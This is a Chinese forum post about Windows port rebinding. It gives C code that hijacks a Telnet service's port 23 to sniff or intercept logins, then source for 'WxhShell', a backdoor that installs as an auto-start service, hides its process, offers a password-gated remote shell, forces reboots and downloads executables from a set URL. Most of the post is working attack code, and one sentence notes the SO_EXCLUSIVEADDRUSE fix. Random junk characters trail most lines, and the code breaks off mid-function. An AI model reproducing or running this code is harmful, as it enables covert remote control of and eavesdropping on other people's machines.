社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9569阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8_<4-<}P:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?=m?jNa;nC  
tg]x0#@s  
  saddr.sin_family = AF_INET; 26&'X+n&  
&0 >Loja`^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R}^~^#  
?qCK7 $ j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pn.wud}R  
q\m2EURco  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $,+O9Et  
),G=s Oo  
  这意味着什么?意味着可以进行如下的攻击:  #wL  
'EDda  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h$4Hw+Yxs]  
h%}/Cmx[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  A) ;  
mEw ~yOW]M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;;L[e]Z  
1 $/%m_t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }:X*7 n(&  
3|.um_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \jOA+FU [  
Ut2y;2)a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H,Z;=N_  
/"eey(X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jn{OWw2  
-FU}pz/  
  #include sCR67/  
  #include *h}XWBC1q  
  #include uV!^,,~  
  #include    {r@Ty*W} L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gw, UQbnu  
  int main() S30?VG9U0f  
  { kS bu]AB  
  WORD wVersionRequested; UrqRx?#  
  DWORD ret; +=O5YR!{  
  WSADATA wsaData; UK<Nj<-'t  
  BOOL val; zIh ['^3.n  
  SOCKADDR_IN saddr; N5a*7EJv+  
  SOCKADDR_IN scaddr; bbrXgQ`s+w  
  int err; c-B cA  
  SOCKET s; vI>>\ .ED  
  SOCKET sc; .zi_[  
  int caddsize;  o4|M0  
  HANDLE mt; E[/\7 v\  
  DWORD tid;   |&RU/a  
  wVersionRequested = MAKEWORD( 2, 2 ); N<~t3/Nm  
  err = WSAStartup( wVersionRequested, &wsaData ); Ney/[3 A  
  if ( err != 0 ) { &l!4mxwr`  
  printf("error!WSAStartup failed!\n"); <YdE1{fm  
  return -1; z^'gx@YD*v  
  } S:h{2{  
  saddr.sin_family = AF_INET; H Z'_r cv  
   0u;4%}pD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |Y?H A&  
zd @m~V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 19w*!FGX  
  saddr.sin_port = htons(23); 7Zlw^'q$:L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wK?vPS  
  { WA+iYLx@H  
  printf("error!socket failed!\n"); ,yiX# ;j  
  return -1; `$ 6rz  
  } ~_/(t'9  
  val = TRUE; "*In+!K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ibj87K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vX/T3WV  
  {  C uB`CI  
  printf("error!setsockopt failed!\n"); I}1NB3>^  
  return -1; Tf'hc]`vS  
  } jPUwSIP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KrQ1GepJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  # 1OOU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e)d`pQ6  
<g$~1fa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '@_d(N1jTw  
  { |olA9mp|]  
  ret=GetLastError(); nAv#?1cjz  
  printf("error!bind failed!\n"); aDU<wxnSvO  
  return -1; |?,A]|j  
  } ,J+}rPe"sf  
  listen(s,2); 'uBu6G  
  while(1) 4y|BOVl  
  { 'Gj3:-xqL  
  caddsize = sizeof(scaddr); 9Z4nAc  
  //接受连接请求 RoPRQCE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3}}38A|4  
  if(sc!=INVALID_SOCKET) ~E17L]ete  
  { 6 (]Dh;gC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _852H$H\  
  if(mt==NULL) KVclhT<F  
  { ]'&LGA`  
  printf("Thread Creat Failed!\n"); '=b/6@&  
  break; {*G9|#[/@  
  } qLD ?juas  
  } Q'=x|K#xj  
  CloseHandle(mt); *\ R ]NV  
  } X% t1 T4  
  closesocket(s); T&6l$1J  
  WSACleanup(); |fK1/<sz#  
  return 0; |-:()yxs  
  }   GS$ifv  
  DWORD WINAPI ClientThread(LPVOID lpParam) CsGx@\jN  
  { v[1aW v:  
  SOCKET ss = (SOCKET)lpParam; Kp%2k^U  
  SOCKET sc; G<65H+)M\  
  unsigned char buf[4096]; >qnko9V  
  SOCKADDR_IN saddr; wW>A_{Y  
  long num; <^#,_o,!  
  DWORD val; ;U/&I3dzV  
  DWORD ret; ag [ZW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 */`ki;\A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +r2+X:#~T  
  saddr.sin_family = AF_INET; ]d$8f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "@V Y  
  saddr.sin_port = htons(23); e"{{ TcNk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hOjk3 k  
  { j#!IuH\]  
  printf("error!socket failed!\n"); cr7 }^s  
  return -1; gb[5&> (#  
  } M?1Y,5  
  val = 100; f%][}NN)Xr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6]K_m(F  
  { 11 Q1AN  
  ret = GetLastError(); Ag-(5:  
  return -1; @0Ic3C[rH6  
  } Ni9/}bb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <? q?Mn  
  { YvaK0p0Z  
  ret = GetLastError(); %~4M+r6T  
  return -1; -_=nDH  
  } ,LHn90S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j'Fpjt"&=  
  { <sb~ ^B  
  printf("error!socket connect failed!\n"); }bb;~  
  closesocket(sc); T<n  
  closesocket(ss);  dm\F  
  return -1; $*^7iT4q_t  
  } <}C oQz  
  while(1) '$i: 2mn,  
  { o_izl \  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 03$mYS_?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9}rS(/@ }  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5TH~.^`Fi  
  num = recv(ss,buf,4096,0); ejSji-Qd  
  if(num>0) ZF!h<h&,  
  send(sc,buf,num,0); 9 P l  
  else if(num==0) Dj"F\j 1  
  break; Wf+cDpK  
  num = recv(sc,buf,4096,0); `KZm0d{H  
  if(num>0) Cjn#00  
  send(ss,buf,num,0); h79}qU  
  else if(num==0) yb<fpM  
  break; y8]B:_iU9  
  } Kg{+T`  
  closesocket(ss); is?{MJZ_  
  closesocket(sc); ?>7[7(|  
  return 0 ; \"7*{L:  
  } g9 .Q<JwO  
.73X3`P25  
j*|VctM  
========================================================== =/@D8{pU  
zYH&i6nj  
下边附上一个代码,,WXhSHELL N=V==Dbu-  
P\E<9*V  
========================================================== 9SX +  
u+9hL4  
#include "stdafx.h" k R?qb6  
1I%w?^sm_  
#include <stdio.h> O %\*@4zM  
#include <string.h> fBU`k_  
#include <windows.h> 0Um2DjTCG  
#include <winsock2.h> d-oMQGOklb  
#include <winsvc.h> !Jo_"#5  
#include <urlmon.h> ]vAz  
KYB`D.O   
#pragma comment (lib, "Ws2_32.lib") z0 d.J1VW  
#pragma comment (lib, "urlmon.lib") lov!o: dJ  
*I B4[6  
#define MAX_USER   100 // 最大客户端连接数 D(~U6SR  
#define BUF_SOCK   200 // sock buffer D, k6$`  
#define KEY_BUFF   255 // 输入 buffer ]=\].% >  
))qy;Q,  
#define REBOOT     0   // 重启 x`mG<Yt  
#define SHUTDOWN   1   // 关机 p'Y^ X  
[F+}V,  
#define DEF_PORT   5000 // 监听端口 FUiRTRIYe  
Pd8![Z3  
#define REG_LEN     16   // 注册表键长度 8=!D$t\3  
#define SVC_LEN     80   // NT服务名长度 wi!?BCseq  
y5vvu>nd  
// 从dll定义API zrvF]|1UP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AzPu)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "fb[23g%@k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N"Z{5A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2IK}vDsis  
pJ>P[  
// wxhshell配置信息 ___~D dq  
struct WSCFG { Mc)}\{J  
  int ws_port;         // 监听端口 aEB_#1  
  char ws_passstr[REG_LEN]; // 口令 <;lkUU(WT2  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jx:Y-$  
  char ws_regname[REG_LEN]; // 注册表键名 A@`}c,G  
  char ws_svcname[REG_LEN]; // 服务名 L7l FtX+b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kj Jn2c:y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =0 #O U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ::`HQ@^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9p]QM)M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gM&{=WDG6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wH*-(*N "  
~-k9%v`  
}; jV i) Efy  
T9=I$@/  
// default Wxhshell configuration 1Yq!~8  
struct WSCFG wscfg={DEF_PORT, X;$+,&M"  
    "xuhuanlingzhe", _YRFet[,m  
    1, z'Hw  
    "Wxhshell", ;[ZEDF5H  
    "Wxhshell", Y_liA  
            "WxhShell Service", _O?`@g?i  
    "Wrsky Windows CmdShell Service", e1yt9@k,  
    "Please Input Your Password: ", `>o{P/HN  
  1, ,KH#NY]  
  "http://www.wrsky.com/wxhshell.exe", =F|{# F  
  "Wxhshell.exe" /'SNw?&  
    }; R*, MfV  
@NR>{Eg  
// 消息定义模块 Z{*\S0^ST  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7g^]:3f!   
char *msg_ws_prompt="\n\r? for help\n\r#>"; XPc^Tq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &$+AXzn  
char *msg_ws_ext="\n\rExit."; ,~U>'&M;  
char *msg_ws_end="\n\rQuit."; 8]c2r%J  
char *msg_ws_boot="\n\rReboot..."; n9\TO9N  
char *msg_ws_poff="\n\rShutdown..."; G/E+L-N#`  
char *msg_ws_down="\n\rSave to "; KYm0@O>;  
p T?}Kc  
char *msg_ws_err="\n\rErr!"; hE{K=Tz$  
char *msg_ws_ok="\n\rOK!";  m!!/Za  
X0HZH?V+  
char ExeFile[MAX_PATH]; hPB9@ hT$  
int nUser = 0; 70?\ugxA  
HANDLE handles[MAX_USER];  ^^sE:  
int OsIsNt; G[PtkPSJ  
ScOK)nL"  
SERVICE_STATUS       serviceStatus; 38B2|x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'ms-*c&  
&ANf!*<\E  
// 函数声明 h'llK6_)  
int Install(void); ^dWa;m]l  
int Uninstall(void); i}f"yO+Q+  
int DownloadFile(char *sURL, SOCKET wsh); iQ67l\{R  
int Boot(int flag); )MVz$h{c.]  
void HideProc(void); bIDj[-CDG  
int GetOsVer(void); K-)] 1BG  
int Wxhshell(SOCKET wsl); M)Z7k/=<P  
void TalkWithClient(void *cs); ;fTKfa  
int CmdShell(SOCKET sock); HQdxL*N%^  
int StartFromService(void); FjHv   
int StartWxhshell(LPSTR lpCmdLine); z _$%-6  
BKCiIfkZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Pc;5 o0C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); au(D66VO  
r8?gD&c}  
// 数据结构和表定义 ;+R&}[9,A)  
SERVICE_TABLE_ENTRY DispatchTable[] = :LQYo'@yB  
{ g/d<Zfq<{  
{wscfg.ws_svcname, NTServiceMain}, Vr)S{k-Q  
{NULL, NULL} ^oz3F]4,g  
}; KAJi  
Evq IcZ  
// 自我安装 J[|y:N  
int Install(void) y-b%T|p9  
{ 1s&zMWC  
  char svExeFile[MAX_PATH]; L<cx:Vz  
  HKEY key; NN{?z!  
  strcpy(svExeFile,ExeFile); yPBZc h%-  
.NC!7+1m  
// 如果是win9x系统,修改注册表设为自启动 s]0{a.Cpv  
if(!OsIsNt) { e)k9dOR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _yx>TE2e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *KF#'wi  
  RegCloseKey(key); \.{$11P#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ A y9p[l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |3b^~?S  
  RegCloseKey(key); r|8d 4  
  return 0; cl3K<'D  
    } B"w?;EeV.  
  } a5^] 20Fa  
} sE<V5`Z=  
else { 79j+vH!zh  
$rBq"u=,0+  
// 如果是NT以上系统,安装为系统服务 u~:y\/Y6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 05#1w#i  
if (schSCManager!=0) Mj3A5;#  
{ h2A <"w  
  SC_HANDLE schService = CreateService  qA7>vi%  
  ( k"%~"9  
  schSCManager, NiEUW.0  
  wscfg.ws_svcname, RLXL&  
  wscfg.ws_svcdisp, ,-LwtePJ0  
  SERVICE_ALL_ACCESS, Rok7n1gW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UgSB>V<?  
  SERVICE_AUTO_START, Xl{P8L  
  SERVICE_ERROR_NORMAL, HRCT }  
  svExeFile, 558V_y:  
  NULL, -Cpl?Io`r5  
  NULL, eK=xrk  
  NULL, 49c:V,  
  NULL, d"mkL-  
  NULL IPKbMlV#d  
  ); f*% D$Mqg  
  if (schService!=0) SM#]H-3  
  { !Pvf;rNI1T  
  CloseServiceHandle(schService); VcYrK4  
  CloseServiceHandle(schSCManager); ek\ xx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rU:`*b<  
  strcat(svExeFile,wscfg.ws_svcname); 8W(*~}ydYY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vb;*m5,?:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2;`1h[,-^  
  RegCloseKey(key); #Y`~(K47  
  return 0; )9G[dDeC  
    } N)|yu1S  
  } 6<SAa#@ey  
  CloseServiceHandle(schSCManager); %lhEM}Sm  
} l/ GGCnO/  
} 6vo;!V6  
}OR@~V{Gj  
return 1; N^G Mp,8  
} ]@c+]{  
A RuA<vQ  
// 自我卸载 Y_IF;V\  
int Uninstall(void) r'r%w#=`t  
{ jXx<`I+]  
  HKEY key; F#Ryu~,"  
8 +/rlHp  
if(!OsIsNt) { O, wJR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KeB"D!={;  
  RegDeleteValue(key,wscfg.ws_regname); 9 ';JXf$  
  RegCloseKey(key); FaSf7D`C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $y&E(J  
  RegDeleteValue(key,wscfg.ws_regname); BwGfTua  
  RegCloseKey(key); Id'-&tYG  
  return 0; 'Cfl*iNb  
  } Wx}8T[A}  
} %#:{UR)E  
} yCR?UH;  
else { WIT>!|w_  
\)N9aV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,j{,h_Op  
if (schSCManager!=0) jl$ece5v  
{ A]0 St@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K~{$oD7!  
  if (schService!=0) o3^l~iT  
  { `/XY>T}-  
  if(DeleteService(schService)!=0) { QB uMJm  
  CloseServiceHandle(schService); Ad8n<zt|  
  CloseServiceHandle(schSCManager); wLH>:yKUU  
  return 0; _$Yk M,  
  } <n];mfh1  
  CloseServiceHandle(schService); }Yzco52  
  }  2DtM20<>  
  CloseServiceHandle(schSCManager); x%m%_2%Z  
} u#$]?($}d  
} Y|f[bw  
mt{nm[D!Xp  
return 1; 0/MtYIYk  
} pfDc9PMj  
- t'jNR'  
// 从指定url下载文件 Y'S%O/$  
int DownloadFile(char *sURL, SOCKET wsh) - q1?? u  
{ @Z %ivR:  
  HRESULT hr; Y0@"fU35  
char seps[]= "/"; GqvpA# i  
char *token; \BTODZ:h  
char *file; zuad~%D<I  
char myURL[MAX_PATH]; 85:=4N%  
char myFILE[MAX_PATH]; XbKYiy  
r&JgLC(   
strcpy(myURL,sURL); 4y?n [/M/  
  token=strtok(myURL,seps); u(>^3PJ+  
  while(token!=NULL) p!7FpxZY  
  { XB^'K2  
    file=token; '(f*2eE:  
  token=strtok(NULL,seps); Uw. `7b>B  
  } wPd3F.<$  
QUc= &5 %  
GetCurrentDirectory(MAX_PATH,myFILE); <4si/=  
strcat(myFILE, "\\"); rdP[<Y9  
strcat(myFILE, file); 4{U T!WIi  
  send(wsh,myFILE,strlen(myFILE),0); v5#j Z$<F  
send(wsh,"...",3,0); uM IIYS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); feDlH[$  
  if(hr==S_OK) t ;;U}  
return 0; |O|V-f{l  
else |!3DPA(_  
return 1;  4iazNl#  
w !-gJmX>  
} ghG**3xr  
{j?FNOJn  
// 系统电源模块 xQ-<WF1i  
int Boot(int flag) B$fPgW-  
{ $aDVG})  
  HANDLE hToken; Q:G4Z9Kt  
  TOKEN_PRIVILEGES tkp; (ylTp]~mR-  
{9&;Q|D z  
  if(OsIsNt) { !Y0Vid  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @]%IK(|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &tLgG4pd  
    tkp.PrivilegeCount = 1; #uG%j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6$Xzpg(o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mI-]/:  
if(flag==REBOOT) { 0WW2i{7`U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z,[Hli*0  
  return 0; ICx#{q@f,  
} QC OM_$y  
else { {tuYs:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #4Rx]zW^%  
  return 0; TCwFPlF|  
} o4F2%0gJ  
  } +s,=lL  
  else { l|JE#  
if(flag==REBOOT) { NqazpB*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Yj1w  
  return 0; bQg:zww  
} Ha0M)0Anv  
else { p J! mw\:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h,u, ^ r  
  return 0; B[Ku\A6&  
} )1J R#  
} Xv5wJlc!d  
Ct<udO  
return 1; _/s$ZCd  
} ^B.5GK)!  
p?%y82E  
// win9x进程隐藏模块 c \J:![x  
void HideProc(void) Y1W1=Uc uk  
{ K,;E5  
?4#Li~q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F4-$~ v@  
  if ( hKernel != NULL ) TVtvuvQ2K  
  { In"ZIKaC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @su^0 9n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |/|5UiX7  
    FreeLibrary(hKernel); b5dD/-Vj  
  } E1aHKjLQ  
O_ muD\  
return; njB;&N)I  
} W dK #ZOR  
?DS@e@lx  
// 获取操作系统版本  c(f  
int GetOsVer(void) T?CdZc.  
{ ouvA~/5  
  OSVERSIONINFO winfo; %ufN8w!p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Af~$TyX  
  GetVersionEx(&winfo); t:x\kp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b;B%q$sntC  
  return 1; ~~/|dh5  
  else 9IdA%RM~mH  
  return 0; \$~|ZwV{  
} $t'MSlF  
!7O+ogL  
// 客户端句柄模块 T@H ^BGs  
int Wxhshell(SOCKET wsl) vFzRg5lH  
{ ^qvZXb  
  SOCKET wsh; 7dTkp!'X-  
  struct sockaddr_in client; Fbr;{T .  
  DWORD myID; 8+Lm's=W*  
~f&E7su-6+  
  while(nUser<MAX_USER) + /4A  
{ 64 wv<r]5j  
  int nSize=sizeof(client); IYE~t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,B*EVN  
  if(wsh==INVALID_SOCKET) return 1; [: n'k  
+5g_KS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a_^\=&?'  
if(handles[nUser]==0) xC?6v '  
  closesocket(wsh); K-^\" W8  
else q5J5>  
  nUser++; Gt8M&S-;  
  } ,a{P4Bq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |#v7/$!  
u"r`3P`  
  return 0; WH#1 zv  
} > ym,{EHK  
P[G)sA_"  
// 关闭 socket )` SrfGp8  
void CloseIt(SOCKET wsh) Hp|kQJ[LE  
{ b"<liGh"n-  
closesocket(wsh); #X+JHl  
nUser--; T8?Ghbn  
ExitThread(0); 0mYXv4 <  
} ^lnK$i  
Di,^%  
// 客户端请求句柄 P8OaoPj  
void TalkWithClient(void *cs) M~Tuj1?  
{ f <Zxz9  
\}yc`7T:L0  
  SOCKET wsh=(SOCKET)cs; "=HA Y  
  char pwd[SVC_LEN]; B {n,t}z  
  char cmd[KEY_BUFF]; D=A&+6B@-  
char chr[1]; v ,i%Q$  
int i,j; Si4!R+4w  
nSDMOyj+  
  while (nUser < MAX_USER) { p#ZCvPE;uH  
CCs%%U/=  
if(wscfg.ws_passstr) { $8)+XmsCr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :I.mGH!^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p%up)]?0  
  //ZeroMemory(pwd,KEY_BUFF); \i>?q   
      i=0; x /(^7#u,  
  while(i<SVC_LEN) { 2lZ Q)   
u74[>^  
  // 设置超时 `z}?"BW|  
  fd_set FdRead; hE:9{;Gf  
  struct timeval TimeOut; (fH#I tf  
  FD_ZERO(&FdRead); [~+wk9P  
  FD_SET(wsh,&FdRead); 2"v6 >b%  
  TimeOut.tv_sec=8; >>4qJ%bL  
  TimeOut.tv_usec=0; + )AG*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aL\PGdgO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h6Ub}(Ov  
:^lI`9'*R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LRxZcxmy  
  pwd=chr[0]; MVpGWTH@F  
  if(chr[0]==0xd || chr[0]==0xa) { h:))@@7MJ  
  pwd=0; u4cnE"  
  break; 4Co6(  
  } B6+khuG(  
  i++; +zqn<<9  
    } 7uqzm  
Uk[b|<U-`d  
  // 如果是非法用户,关闭 socket 3oj' ytxN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J/`<!$<c  
} Y sC>i`n9  
f#>,1,S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); djl*H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Qw0&kM7I  
.fqN|[>  
while(1) { ?6!JCQJ<  
dZl5Ic  
  ZeroMemory(cmd,KEY_BUFF); )N{Pw$l_  
G{~J|{t\yz  
      // 自动支持客户端 telnet标准   (Bb5?fw  
  j=0; 5X:AbF  
  while(j<KEY_BUFF) { 6D;Sgc5"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G6Axs1a  
  cmd[j]=chr[0]; fivw~z|[@  
  if(chr[0]==0xa || chr[0]==0xd) { zy?|ODM  
  cmd[j]=0; 3@_xBz,I.  
  break; [C 7^r3w  
  } 88O8wJN  
  j++; ]"As1"  
    } dw>C@c#"  
R{`(c/%8  
  // 下载文件 6?gW-1mY  
  if(strstr(cmd,"http://")) { (*9$`!wS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C\3rJy(VJ  
  if(DownloadFile(cmd,wsh)) FW;?s+Uyx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'T;P;:!\  
  else {_"<1C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HQ_Ok `  
  } Wx%H%FeK  
  else { kOrZv,qFG[  
_#E0g'3  
    switch(cmd[0]) { {GT*ZU*  
  lWk>z; d  
  // 帮助 IVnHf_PzF  
  case '?': { .bl/*s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %bn jgy  
    break; yf.~XUk^  
  } m,_Z6=I:  
  // 安装  #4NaL  
  case 'i': { S"QWB`W2  
    if(Install()) !RS}NS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5X$jl;6  
    else 1p3z1_wrs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V*;(kEqj  
    break; |-67 \p]  
    } np^N8$i:n  
  // 卸载 dm0R[[7  
  case 'r': { yx8z4*]kH  
    if(Uninstall()) wo{gG?B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qbN =4  
    else A1$TXr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \A#41  
    break; Igt#V;kK"2  
    } LKB$,pR~1l  
  // 显示 wxhshell 所在路径 c9 eM/*:  
  case 'p': { Oc0a77@  
    char svExeFile[MAX_PATH]; U[-o> W#  
    strcpy(svExeFile,"\n\r"); 9MJG;+B~  
      strcat(svExeFile,ExeFile); 2%Ri,4SRb  
        send(wsh,svExeFile,strlen(svExeFile),0); ]L.O8  
    break; q'F+OQb1  
    } 3AtGy'NTp  
  // 重启 q-2Bt,Y  
  case 'b': { ] IQ&>z}<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YQvD|x  
    if(Boot(REBOOT)) e2TiBTbQaF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^98~U\ar  
    else { !sP {gi#=  
